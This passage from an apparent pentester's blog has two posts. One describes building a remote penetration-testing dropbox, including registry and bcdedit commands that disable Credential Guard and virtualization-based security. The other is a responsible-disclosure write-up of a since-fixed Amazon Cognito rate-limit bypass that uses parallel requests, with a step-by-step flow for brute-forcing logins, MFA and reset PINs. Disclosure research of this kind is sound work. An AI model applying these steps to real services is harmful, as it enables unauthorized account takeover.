<p>And holy moly people came up with lots of ideas. From Raspberry Pis, to small form factor PCs or even 2HE appliances and even cloud only stuff.<br />
From just one OS (mostly nix) to virtualization and from Teamviewer, WireGuard, OpenVPN, proxy your tools or have them all with you, it was a wild mixture.<br />
I also knew about some write-ups, and some that helped shall be mentioned here, although what I came up with is something different:</p>

<p><a href="https://www.scip.ch/en/?labs.20230810">https://www.scip.ch/en/?labs.20230810</a><br />
<a href="https://www.sprocketsecurity.com/resources/penetration-testing-dropbox-setup-part1">https://www.sprocketsecurity.com/resources/penetration-testing-dropbox-setup-part1</a><br />
<a href="https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6">https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6</a><br />
<a href="https://posts.specterops.io/proxy-windows-tooling-via-socks-c1af66daeef3">https://posts.specterops.io/proxy-windows-tooling-via-socks-c1af66daeef3</a></p>

<p>So it once again was up to good old me to build stuff the way I needed it.<br />
Let’s jump in.</p>

<h1 id="thoughts">Thoughts</h1>

<p>Okay, so let me just give you some of the bulletpoints that I had on my mind:</p>

<ul>
  <li>All tools that are needed to carry out an internal pentest should be on board.</li>
  <li>Want Linux and Windows world available.</li>
  <li>I did not want to proxy anything. I know it is possible, but it also has its limits and is prone to errors. Things like Kerberos etc. could become a pain in the ass.</li>
  <li>Keep it as simple as possible. The last thing I want is to spend time on troubleshooting stuff rather than pwning things. Also the customer should be able to fire and forget. Just plug it in - go.</li>
  <li>Make it safe. Safe to use, safe to send around, data encrypted etc.</li>
  <li>Easy to connect to from my home base, no matter where it would land.</li>
  <li>Easy to reset once an engagement was finished, being able to start with a fresh instance for the next one.</li>
  <li>Stay as compact as possible.</li>
  <li>Keep costs as low as possible while having all I need.</li>
  <li>Everything needs to be tested, so replicate a real world example from start to finish to be on the safe side. I am absolutely scared of things not working and having to fiddle around under stress.</li>
  <li>Needs to be portable and usable when I sit in front as well, as I may need to actually work on-site.</li>
</ul>

<p>I really wanted the base to be Windows. On the one hand I feel comfy with it and on the other hand the customer would do so too IF something needs to be figured out.<br />
I also wanted VMWare, as I am used to it, and know how everything works (not the cheapest options, I know).</p>

<h1 id="the-setup">The Setup</h1>

<h2 id="basics">Basics</h2>

<p>My choice of hardware ended up with:<br />
<a href="https://ark.intel.com/content/www/us/en/ark/products/233101/intel-nuc-13-pro-kit-nuc13anki7.html">Intel NUC 13 Pro i7</a> - got it used for 320€<br />
<a href="https://www.samsung.com/de/memory-storage/nvme-ssd/980-1tb-nvme-pcie-gen-3-mz-v8v1t0bw">Samsung 980 1TB SSD</a> - got it new for 60€   <br />
<a href="https://www.kingston.com/en/memory/gaming/kingston-fury-impact-ddr4-memory">Kingston Fury Impact 32GB RAM</a> - got it off of Amazon for 72€<br />
<a href="https://www.amazon.de/dp/B07XTGKP5M">USB-C Ethernet Adapter 2x</a> - 10€ / adapter<br />
<a href="https://www.amazon.de/dp/B004E1VD0M">Carry case for shipment</a> - Amazon 24€ -&gt; pro tip: save the packing material as you can perfectly use it when you ship your stuff</p>

<p>As for the software I went with:<br />
2x Windows 10 Pro<br />
1x VMWare Workstation Pro 17<br />
1x Kali</p>

<p>I have no own publicly reachable infrastructure and did not want to spend money on it, hence my own VPN solution was off the table.<br />
For connectivity I for now opted for <a href="TailScale">https://tailscale.com</a> which’s free plan I can use, and will maybe add Teamviewer or Anydesk as a backup in the future.</p>

<p>The basic idea is to have the dropbox auto connect to TailScale. Once I see it - connect to it and start the Kali and Windows VM that each have a dedicated USB NIC connected to the corporate network.<br />
It would be possible to ship the box with an LTE modem to be on the safe side, but for now the idea is that the customer either uses the NUC’s WiFi or built-in NIC to connect it to the internet however they like it, which should be sufficient.</p>

<p>Some pics of the box</p>

<p><img src="/images/2023-12-15/boxfront.png" width="500" /><br />
<img src="/images/2023-12-15/boxback.png" width="500" /><br />
<img src="/images/2023-12-15/boxboxed.png" width="500" /></p>

<h2 id="details">Details</h2>

<h3 id="autologon">Autologon</h3>

<p>The setup process, once on site, should be as little effort as possible. But, I also need to think security as a hax0r right.<br />
The NUC is encrypted with BitLocker in TPM + PIN mode. The customer would need to hook all the cables up: 2-3x Ethernet, Power, HDMI monitor and keyboard, enter the decryption PIN and should be ready to go (one addtional step might be the WiFi config if he opted for it). Pretty simple huh?<br />
After entering the PIN the system auto logs in to Windows. This can be done in the registry like so:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoAdminLogon = 1
DefaultUserName = &lt;the user to login&gt;
DefaultPassword = &lt;well, the password&gt;
</code></pre></div></div>

<p>TailScale is set up to also autologin so that once internet connection is there - TailScale is there. According to the developers it does not matter if you are behind a firewall or whatever, hence this should work like in mostly every case and internet accessibility would be a prerequisit to the customers.  <br />
<img src="/images/2023-12-15/tailscale.png" /></p>

<h3 id="virtualization-problems">Virtualization (Problems)</h3>

<p>Yeah there were some problems to be honest. The most crucial ones shall be mentioned here.<br />
First, I wanted the USB-C Ethernet adapters to automagically connect to their respective VMs. In the past you would add lines to the according .vmx files, but this does not work anymore.<br />
Instead, if you attach a device to the host the well known popup shows, asking if you want to connect to the host or a VM and if you want to save this for the future. This will create usbarb rules which you can finde at <code class="language-plaintext highlighter-rouge">C:\ProgramData\VMware\VMware USB Arbitration Service\usbarb.rules</code>.<br />
In my special case the VID, PID and also SN of both adapters were exactly the same (obviously), and it took me several attempts to get this right, needing to delete the file or manually fiddling around with it, so prepare for that if you go that route.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "version": 1,
  "rules": [
    {
      "id": 5,
      "string_v3": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8151 path:1/0/3 speed:super family:vendor,comm serialnum:000000 version:3",
      "string_v4": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8151 path:1/0/3 speed:super family:vendor,comm serialnum:000000 version:4",
      "string_v5": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8151 path:1/0/3 speed:super family:vendor,comm serialnum:000000 version:5",
      "targets": [
        {
          "user": "DSC",
          "target": "vmware-vmx:C:\\VMs\\Commando\\Commando.vmx",
          "displayName": "Commando"
        }
      ]
    },
    {
      "id": 6,
      "string_v3": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8153 path:1/0/1 speed:super family:vendor,comm serialnum:000000 version:3",
      "string_v4": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8153 path:1/0/1 speed:super family:vendor,comm serialnum:000000 version:4",
      "string_v5": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8153 path:1/0/1 speed:super family:vendor,comm serialnum:000000 version:5",
      "targets": [
        {
          "user": "DSC",
          "target": "vmware-vmx:C:\\VMs\\Kali\\Kali.vmx",
          "displayName": "Kali"
        }
      ]
    },
    {
      "id": 3,
      "string_v3": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8153 path:1/0/1 speed:super family:vendor,comm version:3",
      "string_v4": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8153 path:1/0/1 speed:super family:vendor,comm version:4",
      "string_v5": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8153 path:1/0/1 speed:super family:vendor,comm version:5",
      "targets": [
        {
          "user": "DSC",
          "target": "vmware-vmx:C:\\VMs\\Commando\\Commando.vmx",
          "displayName": "Commando"
        }
      ]
    },
    {
      "id": 4,
      "string_v3": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8151 path:1/0/1 speed:super family:storage,storage-bulk version:3",
      "string_v4": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8151 path:1/0/1 speed:super family:storage,storage-bulk version:4",
      "string_v5": "name:Realtek\\ USB\\ 10/100/1000\\ LAN vid:0bda pid:8151 path:1/0/1 speed:super family:storage,storage-bulk version:5",
      "targets": [
        {
          "user": "DSC",
          "target": "vmware-vmx:C:\\VMs\\Commando\\Commando.vmx",
          "displayName": "Commando"
        }
      ]
    }
  ]
}
</code></pre></div></div>

<p>You can see it is mixed up again, but it works as is, so I am not going to touch it now.</p>

<p>In a very late stage, where everything was already up and running, my kali VM started to freeze VERY often shortly after starting it. I first thought it was Firefox, because it always was in combination. But after I uninstalled it, the problem popped up shortly after again. <code class="language-plaintext highlighter-rouge">top</code> was running in an open terminal, and I could not identify something odd.<br />
So it turned out that VMWare and Windows, especially Hyper-V and Device / Credential Guard and virtualization based security, did not go hand in hand very well. I stumbled upon <a href="https://www.reddit.com/r/vmware/comments/10d9x3n/problem_vmware_workstation_pro_17_freezing_in/">this</a> reddit post and disabled all the crap.<br />
Uninstall Hyper-V itself under the Windows features:<br />
<img src="/images/2023-12-15/hyperv1.png" /></p>

<p>Disable Credential Guard:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Key path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
Key name: LsaCfgFlags
Type: REG_DWORD
Value: 0

Key path: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard
Key name: LsaCfgFlags
Type: REG_DWORD
Value: 0
</code></pre></div></div>

<p>If you happen to have it run with UEFI lock enabled you need to:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mountvol X: /s
copy %WINDIR%\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi /Y
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\SecConfig.efi"
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215}
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
mountvol X: /d
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO,DISABLE-VBS
bcdedit /set vsmlaunchtype off
</code></pre></div></div>

<p>And to disable VBS delete:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Key path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard
Key name: EnableVirtualizationBasedSecurity

Key path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard
Key name: RequirePlatformSecurityFeatures
</code></pre></div></div>

<p>In the past I needed this to be able to run nested VMs and created this <a href="https://gist.github.com/LuemmelSec/20e2b6429eccf0bac91ac6f17bc98c87">script</a> which you can use to automate the steps.</p>

<h3 id="bginfo-auto-update">BGInfo (Auto Update)</h3>

<p>For the customer to be able to visualize if everything is okay once the box is up (or for troubleshooting) I wanted all the network info displayed on the Desktop.<br />
Sure, you go with BGInfo. But making it display what I wanted honestly took more then the rest of the whole setup ^^.<br />
It would not save custom fields when they are of the type WMI query. Usign default IP info is a pita. Several times I deleted my wallpaper. It was a pain in the ass deluxe.<br />
In the end I went with a VBScript file, which you can also add as custom field and which actually gets saved. Chat-GPT to the win once again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>strComputer = "."

On Error Resume Next

Set objWMIService = GetObject("winmgmts:" &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")

Set colSettings = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration where IPEnabled = 'True'")

For Each objIP in colSettings
   If objIP.DHCPEnabled Then
      DHCPStatus = "Enabled"
   Else
      DHCPStatus = "Disabled"
   End If
   
   For i = LBound(objIP.IPAddress) to UBound(objIP.IPAddress)
      If InStr(objIP.IPAddress(i), ":") = 0 Then
         If objIP.IPAddress(i) &lt;&gt; "192.168.126.1" And objIP.IPAddress(i) &lt;&gt; "192.168.245.1" Then
            Echo "Adapter   : " &amp; objIP.Description
            Echo "IP Address: " &amp; objIP.IPAddress(i)
            Echo "Subnet    : " &amp; objIP.IPSubnet(i)
            Echo "Gateway   : " &amp; objIP.DefaultIPGateway(i)
            
            ' Display all DNS Servers on the same line
            Echo "DNS-Servers: " &amp; Join(objIP.DNSServerSearchOrder, ", ")
            
            ' Connection-specific DNS Suffix
            Echo "DNS Suffix : " &amp; Join(objIP.DNSDomainSuffixSearchOrder, ", ")
            
            Echo "Domain    : " &amp; objIP.DNSDomain(i)
            Echo "DHCP      : " &amp; DHCPStatus
            Echo " "
         End If
      End If
   Next
Next
</code></pre></div></div>

<p>But how would I properly update all the info IN TIME???<br />
I wanted it to always show the most current info on the Desktop. It should change on link up or link down. It should change when an IP changed. It should change when TailScale connected or disconnected, when a user logs in or remotely connects, etc.<br />
So I went down the hacky road and created a scheduled task that would fire on a custom filter on the event log which looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;QueryList&gt;
  &lt;Query Id="0" Path="Microsoft-Windows-NetworkProfile/Operational"&gt;
    &lt;Select Path="Microsoft-Windows-NetworkProfile/Operational"&gt;*[System[(Level=4 or Level=0) and (EventID=10000 or EventID=10001 or EventID=4004)]]&lt;/Select&gt;
  &lt;/Query&gt;
&lt;/QueryList&gt;
</code></pre></div></div>
<p>The whole setup looks like this:</p>

<p><img src="/images/2023-12-15/triggers.png" /></p>

<p>And the endresult like so:</p>

<p><img src="/images/2023-12-15/wallpaper.png" /></p>

<p><img src="/images/2023-12-15/animation.gif" /></p>

<h3 id="encryption">Encryption</h3>

<p>I wanted everything encrypted, not only the dropbox but also the two VMs.<br />
Why?<br />
Because the customer has physical access to the box and I don’t want them to snoop around.</p>

<p><img src="/images/2023-12-15/snoopy.png" /></p>

<p>It also serves as an additional layer of security and I just feel better with it. If you need to move the machines to another host, the data inside would still be protected, and after a pentest there most likely would be lots of juicy things floating around.</p>

<p>On kali you can only use full disk encryption if you use the installer ISO and select to encrypt during the setup process.</p>

<h3 id="energy-settings">Energy Settings</h3>

<p>Make sure to put everything to never go to sleep. The dropbox itself as well as the VMs. Not having direct access, the last thing you want is to lose connection and call the customer, telling them you were too dumb to set things up correctly.</p>

<h3 id="snapshots">Snapshots</h3>

<p>Once you have the VMs set up to your liking and made sure all tools are working fine -&gt; make a snapshot. Those will serve as the base images that you can revert to once a job is done. <br />
You can also regularely expand them, install updates and new tools etc. and then create a new base image.<br />
You are also flexible on where to run them. New dropbox - no problem. Customer wants to run your stuff directly on his infra - no problem.<br />
I copied both to my NAs as a backup.</p>

<h3 id="test-test-test">Test Test Test</h3>

<p>I can’t stress this enough. As I said, I really don’t love to be suprised and am afraid of things not working when they should.<br />
My final test lab, which obviously needed to be the stuff I have at home, looked like this:</p>

<p><img src="/images/2023-12-15/lab.png" /></p>

<p>Well, actually I can’t afford a lab and a hacker PC. Hence, the lab is just VMWare on my PC running the whole lab (2 DCs, 1 App Server, some clients, ADCS, ADDS, and lots of misconfigs etc.).
In order to be able to login to my virutal lab network from external, I connected the NUC via WiFi to my iPhone sharing LTE. On the server side I plugged in another USB NIC to one of the DCs and bridged it with the virtual one, so it would issue IPs over DHCP and allow external devices to be connected to my VM only network. Having only one NIC, I switched between connecting the Windows and Kali box to the virtual network.</p>

<p>I tested all the tools. I tested DHCP, DNS, Kerberos auth, NTLM auth, password auth. I ran nearly all the tools: impacket, certify, certipy, cme, SharpHound, DomainPasswordSpray, WinPwn, mitm6, responder - you name it. And I rebooted, tested again. And again. And again.</p>

<p>When first connecting to the lab I saw that I got IPs, Gateways, DNS etc. like it should via DHCP, but when I tried to resolve the lab domain <code class="language-plaintext highlighter-rouge">mcafeelab.local</code> it would not resolve. On the windows box I saw that it actually used the <code class="language-plaintext highlighter-rouge">host-only</code> NIC to reach out to the domain which I did not understand.
If DNS server 1 fails, I would have expected that it tries the ones from the 2nd NIC. But it did not. Once i disabled the <code class="language-plaintext highlighter-rouge">host-only</code> NICs in both VMs, it all worked like a charm. Afterwards re-enabling the NICs still worked. I have no clue how and why, but in case this becomes a problem at the customer I will just disable them again, as I am anyways working over the VMWare GUI and do not connect from the dropbox to the VMs.</p>

<h1 id="wrap-up">Wrap up</h1>

<p>Yeah there goes. My little yourney finally came to an end. It was more thinking and tinkering than acutally doing as I had to wrap my head around different concepts, tools and situations.</p>

<p>Stay safe and happy remote hacking.<br />
LuemmelSec</p>]]></content><author><name></name></author><summary type="html"><![CDATA[This is for all you lazy ass pentesters that don’t want to move out of their comfort zone a.k.a. their Hobbit cave to conduct an on site assessment. I lately (for reasons) was on the hunt for options to have something I could send to a customer and do all my testing as if I were there in person. You are invited to join me on this small journey and follow along my thoughts, building process, buying stuff etc.]]></summary></entry><entry><title type="html">Amazon Cognito Ratelimit Bypass</title><link href="https://luemmelsec.github.io/Amazon-Cognito-Ratelimit-Bypass/" rel="alternate" type="text/html" title="Amazon Cognito Ratelimit Bypass" /><published>2023-10-17T00:00:00+00:00</published><updated>2023-10-17T00:00:00+00:00</updated><id>https://luemmelsec.github.io/Amazon-Cognito-Ratelimit-Bypass</id><content type="html" xml:base="https://luemmelsec.github.io/Amazon-Cognito-Ratelimit-Bypass/"><![CDATA[<p>Howdy folks. I am going to keep this one relatively short. 
But being my first ever reported public vuln, I want to keep this for the records.<br />
This is my journey of discovering and reporting a ratelimit bypass in one of the biggest IDPs out there.</p>

<p><img src="/images/2023-10-17/kitty.png" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>So lately I was doing a webpentest on a rather boring webapp. There was not much to see or do, and the most critical stuff I found was some IDOR.<br />
Not being the webpentest Overlord, I started to look around what new shit was going on in the webpentest world and for sure stumbled upon <a href="https://twitter.com/albinowax">James Kettle’s</a> talk at <a href="https://www.youtube.com/watch?v=tKJzsaB1ZvI">Defcon</a> and the according research over at <a href="https://portswigger.net/research/smashing-the-state-machine">PortSwigger</a>. I highly recommend you read and watch that if not already done so.<br />
The application in question was using <a href="https://aws.amazon.com/pm/cognito">Amazon Cognito</a> as Identity and Access Management platform. My first thought was: “Dude it’s Amazon. For sure they are not prone to such a vulnerability”. And then I was like why not give it a try.</p>

<h1 id="the-journey">The Journey</h1>

<h2 id="race-conditions-and-rate-limits">Race Conditions And Rate Limits</h2>

<p>From a security perspective you want your application to throttle requests to sensitive functions if you see them get flooded. This could be e.g. a login form, where an attacker tries to brute-force his way into the application. Best case here is that after let’s say 5 failed attempts the user needs to wait for 5 minutes until the next try can be done and / or the account get’s locked and can only be reactivated via a link send by mail / by an admin or whatever.<br />
If the application sees that there are thousands of login requests rolling in it should lock the IP address for let’s say an hour before it accepts new connections from it.</p>

<p>What James did with his research was rather than sending the requests one after another, he send them in parallel. The problem to tackle was that due to things like jitter, latencies etc. even if sending those packets in parallel, they would not reach their destination at the very same time, allowing the application to still kick their restrictions in.<br />
This resulted in his implemention of the single-byte attack which goes like this (source: <a href="https://portswigger.net/research/smashing-the-state-machine">Smashing the state machine</a>):</p>

<blockquote>
  <p>If the request has no body, send all the headers, but don’t set the END_STREAM flag. Withhold an empty data frame with END_STREAM set.
If the request has a body, send the headers and all the body data except the final byte. Withhold a data frame containing the final byte.</p>
</blockquote>

<blockquote>
  <p>Next, prepare to send the final frames:</p>
</blockquote>

<blockquote>
  <p>Wait for 100ms to ensure the initial frames have been sent.
Ensure TCP_NODELAY is disabled - it’s crucial that Nagle’s algorithm batches the final frames.
Send a ping packet to warm the local connection. If you don’t do this, the OS network stack will place the first final-frame in a separate packet.</p>
</blockquote>

<p>With this approach the packets reaching the server would be completed within 1ms and less.<br />
Please read through the research and watch the video to understand what is going on, as James is far better than me in explaining what is happening.</p>

<h2 id="the-story-unfolds">The Story Unfolds</h2>

<p>My application was propperly doing rate limit restrictions and locking accounts after X failed attempts goind the normal route (which was intruder sending the requests on after the other), so initially I was not able to put that finding onto my list.<br />
Already using Burp for the rest of the pentest I followed the examples and labs provided by PortSwigger which you can find <a href="https://portswigger.net/web-security/race-conditions">here</a>.<br />
You send the login request to Repeater, duplicate your tab like 20 times, group them and then set this group to be send in parallel.</p>

<p><img src="/images/2023-10-17/burp_group.png" /></p>

<p><img src="/images/2023-10-17/burp_lastbyte.png" /></p>

<p>What you then might observe is that in some tabs you get a propper response and in others you get like an info that rate limiting kicked in.<br />
Unfortunately, this was not the case here because the login resulted in a redirect which the tabs would not auto follow.<br />
The Turbo Intruder <a href="https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py">script</a> for this does not follow redirects either, and after talking to James it turns out that this would be rather tricky to implement.</p>

<p>Damn it.<br />
<img src="/images/2023-10-17/fu302_meme.png" /></p>

<p>I then, just out of curiosity, send the login request to Intruder, remembering that you can set resource pools for the attack.<br />
My settings within Intruder looked like this:</p>

<p><img src="/images/2023-10-17/intruder1.png" /></p>

<p><img src="/images/2023-10-17/intruder2.png" /></p>

<p><img src="/images/2023-10-17/intruder3.png" /></p>

<p>For comparison reasons I several times did the same attack with default settings / sending requests one after another and with everything in parallel. I took 20 passwords and kicked off the attack.</p>

<p>Sequential requests -&gt; all 401s:<br />
<img src="/images/2023-10-17/intruder4.png" /></p>

<p>Parallel requests: <br />
<img src="/images/2023-10-17/intruder5.png" /></p>

<p>And tada: <br />
<img src="/images/2023-10-17/holy_meme.png" /></p>

<p>At this time I was able to replicate the behavior over and over again, but still I struggled to believe this was a valid finding. So I reached out to James asking if he would be available for a small exchange of info, which he was. He replied with:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hi Daniel,

Nice finding, this looks like a legitimate rate-limit bypass via race condition to me.
</code></pre></div></div>

<p>Wait, what!? Legit finding he said.</p>

<p><img src="/images/2023-10-17/noot_meme.png" /></p>

<p>James also pointed me to this <a href="https://www.pentagrid.ch/en/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/">article</a> from Pentagrid, who reported like a very similar issue back in 2021 which was fixed by Amazon. They actually used Turbo Intruder back then, which would nowadays no longer work out of the box. Since the complete auth flow changed, we now have redirects etc., till now no one seems to have messed with the new flows inside AWS Cognito.</p>

<h2 id="putting-the-pieces-together">Putting The Pieces Together</h2>

<p>I looked around further and came across some really odd stuff. Besides the actual login request there is also a password reset function. Additionally all users in the app needed to have MFA in place, which was an extra request after the initial login.<br />
Here are my findings:</p>

<ol>
  <li>
    <p>The forgot password function at <code class="language-plaintext highlighter-rouge">https://&lt;REDACTED&gt;.auth.eu-central-1.amazoncognito.com/forgotPassword</code> allows for user enumeration. At least this is the case with the app I tested, but I honestly do not know if this is related to a setting inside Cognito or if it is just as is (what I have seen so far from my colleagues, this is just how it is). 
 Invalid user:</p>

    <p><img src="/images/2023-10-17/forgot1.png" /></p>

    <p>Valid user:</p>

    <p><img src="/images/2023-10-17/forgot2.png" /></p>

    <p>If you guessed a valid user’s mail address (can also be done with the rate limit trick), the function to reset the password at <code class="language-plaintext highlighter-rouge">/confirmForgotPassword</code> is also prone to the same rate limit attack as the login. Hence, you would theoretically be able to try to brute-force the 6 digit PIN and set a new password for a guessed user.</p>
  </li>
  <li>
    <p>The MFA flow is also prone to the rate limit bypass. So once you either guessed, brute-forced, found or whatever a correct user and password, you could again also abuse the MFA function to hack your way in.</p>

    <p>I won’t bother you with more pictures here as it is always looking the same.</p>
  </li>
</ol>

<h2 id="reporting">Reporting</h2>

<p>After I was confident enough and armed with all the info needed, I contacted the AWS security team on 2023-09-20 with everything I had.</p>

<p>Some of the stuff shared was the attack flow:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Login:
- In a browser on the login page enter a username and a false password
- Intercept the request with Burp proxy
- The first request always goes to https://&lt;webapp&gt;.auth.eu-central-1.amazoncognito.com/cspreport and I just forward it
- The 2nd request is a POST request to https://&lt;webapp&gt;.auth.eu-central-1.amazoncognito.com/login and the POST body contains the parameters _csrf, username, password, cognitoAsfData and signInSubmitButton
- Forward this POST request to Burp Intruder
- Add injection point at the password field
- Define payloads. I did like 30-50 random words including the real password
- Set the resource pool so that Burp sends the requests in sequence
- Set the follow redirect settings to always follow redirects and process cookies
- Disable HTTP 1 settings
- Hit attack

Observation:
- The real password that is somewhere in the middle of the payloads results in the same 401 as all the other false passwords
- Cognito reacts with a warning message in the browser: "Application is buy, please try again in a few minutes."
- No clues for an attacker about the correct guess
- Rate limiting kicked in

POC:
- Change the resource pool from Burp to allow 50 requests in PARALLEL
- See that the correct password results in a 200 OK response after all redirects, rather than all false passwords still getting a 401
- See that rate limiting was successfully bypassed by sending in parallel
</code></pre></div></div>

<h2 id="strange-things">Strange Things</h2>

<p>I want you to make up your own thoughts about this and try to reflect what happened as neutral as possible.</p>

<p>At first I was very happy with how the communication went. Everyone was very polite, responses came in rather quick.<br />
On the 2nd of November I received the feedback for my blog post draft which I gave them. They stated that both, the Forget-Password function as well as the MFA prompt were “fixed previously” and “confirmed through manual testing” are not vulnerable. So my assumptions and statements were wrong according to AWS.</p>

<p><img src="/images/2023-10-17/wait_meme.png" /></p>

<p>Immediately I thought: So you are telling me you knew cognito is / was prone to such attacks, and then you decided like “Hey let’s fix this in some subfunctions (MFA and Reset PW) but ignore the main login logic.”<br />
Like really?<br />
Also, I did the same tests on all three endpoints and all gave me the same results. You were able to reproduce this, confirmed it is a bug in the login but not the MFA or reset function???<br />
At least this sounded very strange and not plausible to me, but this is how it went and I am not the expert to assess this in depth. And maybe I just have a wrong point of view here.</p>

<p>It then so happened that I asked for more details on this, and guess what … On the 29th of November I got an update email saying they did some more testing and now they also see that the MFA flow is prone to the attack, however the Forgot-Password function still is not.<br />
At this point I just replied that this thing is getting weirder the more often we have a conversation about it, but that it is up to them to handle this case and their product.<br />
I also reflected it internally and involved our team responsible for the product.</p>

<p>I also asked AWS if I / they could give out some pre-notification (without any details) to customers / public to warn them about the current state so that they would be able to at least monitor their logs and act if adversaries would abuse this.<br />
The answer to that was: “Notifying affected customers is part of our mitigation and disclosure processes.”<br />
Well, at least we did not receive any sort of info, that there might be a problem, as a customer until today.</p>

<p>On the 18th of December we then happened to have an official call with like 10 people. AWS assured that they take security seriously, that they are pushing hard on getting everything fixed and rolled out (hopefully that week we talked) and that some miscommunication might have occured in the course of events which they want to address internally.</p>

<p>The self requested 90 days period ended on the 19th of December and there was no single info from AWS since our call.<br />
So I once again reached out to my contact at AWS on the 27th of December to ask about the current state and if I could release the blog post. Got a reply the same day that they are sorry for the delay again. The fix is globally deployed and I am good to make things public.</p>

<h1 id="i-can-haz-cve">I can haz CVE?</h1>

<p><img src="/images/2023-10-17/no_meme.png" /><br />
Unfortunately I can’t.<br />
I provided all the details to the Mitre CNA, but they replied that SaaS is not covered by CVEs, hence -&gt; NOPE.<br />
I really was exited for this being my first ever CVE for the records, but it should just not have happened.</p>

<h1 id="timeline">Timeline</h1>

<p>2023-09-18: Discovery of the issue<br />
2023-09-20: First contect with AWS Security team<br />
2023-09-20: Same day response from the AWS Security team asking for more detail and step-by-step attack flow<br />
2023-09-21: My reply with all questions answered. Also asked if they issue a CVE if applicable and if okay to write a blog about it<br />
2023-09-21: Reply from AWS Security that they are investigating on my report. They would issue a CVE if appropriate and would like to see my blog post before release<br />
2023-09-28: AWS Security saying they are still investigating and will keep me updated<br />
2023-09-29: My reply that I am fine with that and they should take their time<br />
2023-10-15: Me asking for an update on the case<br />
2023-10-16: AWS Security saying they are in the process of developing a fix for the problem and would like to see my blog post<br />
2023-10-17: Me asking questins about handover of the blog and status on CVE<br />
2023-10-17: AWS details how to handover the blog and says GHSA / CVE is evaluated after fix is complete<br />
2023-10-18: Me sending over my blog draft<br />
2023-11-02: AWS shared commented blog. There are only two statements and that state that the PW-Reset nor the MFA function have been fixed BEFORE my report. They also ask for my disclosure timeline. They want to have the fix ready before 90 days pass.<br />
2023-11-06: Me asking why someone who knows there is a vuln would patch two subfunctions but not the main login logic. I agree to the 90 days timeline for disclosure.<br />
2023-11-06: AWS states a subject matter expert will answer my open questions regarding the patching<br />
2023-11-10: Me asking if I or they can do like a pre-notification to all customers, so they can at least monitor their logs for suspicious activity until a fix is available<br />
2023-11-10: AWS states that this is part of their mitigation and siclosure process. They ask me to not anounce anything until the 90 days period.<br />
2023-11-15: Me asking for the affected version numbers and an update on my questions regarding patching<br />
2023-11-16: AWS states they are still working on a fix. They are not giving me the version number, but rather state that the fixed version has not been merged… . The info regarding my question for the patch are the same as last time.<br />
2023-11-17: Me asking again for affected versions and the statement from the subject matter expert to clarify on plausibility of their statements<br />
2023-11-29: AWS states they are still targeting the end of December for a fix. They now also say that the login AND MFA implementation are affected and only the forget password stuff is not.<br />
2023-11-30: Me replying that I will stick to my word with the 90 days period. I also mention that this gets more weird the more we talk about it, but that it’s up to them to handle their product.<br />
2023-12-18: Official call with AWS assuring they are always like security 1st and will do everything to fix this. The initial false assumption regarding the flaws was a miscommunication topic.<br />
2023-12-27: Asking for an update on the current situation.<br />
2023-12-27: AWS is sorry for the delay. Fix is rolled out and I am good to release my blog.</p>

<h1 id="wrap-up">Wrap up</h1>

<p>So there goes my very first ever reported vulnerability and I have mixed feelings about it.<br />
Why is such a huge company not up to date with current vulnerability research?<br />
Why so many turns in what is vulnerable and what is not?<br />
What other services might be impacted out there by other big (and also little) players?<br />
Why no bug bounty program if you seemingly can’t handle it internally?</p>

<p>Don’t get me wrong, I am not to blame anybody here, but it think there is room for improvement - internally as well as with the interaction with security researchers. This blog is reflecting MY view and feelings on the whole situation, and to get the whole picture you should always listen to all parties involved.<br />
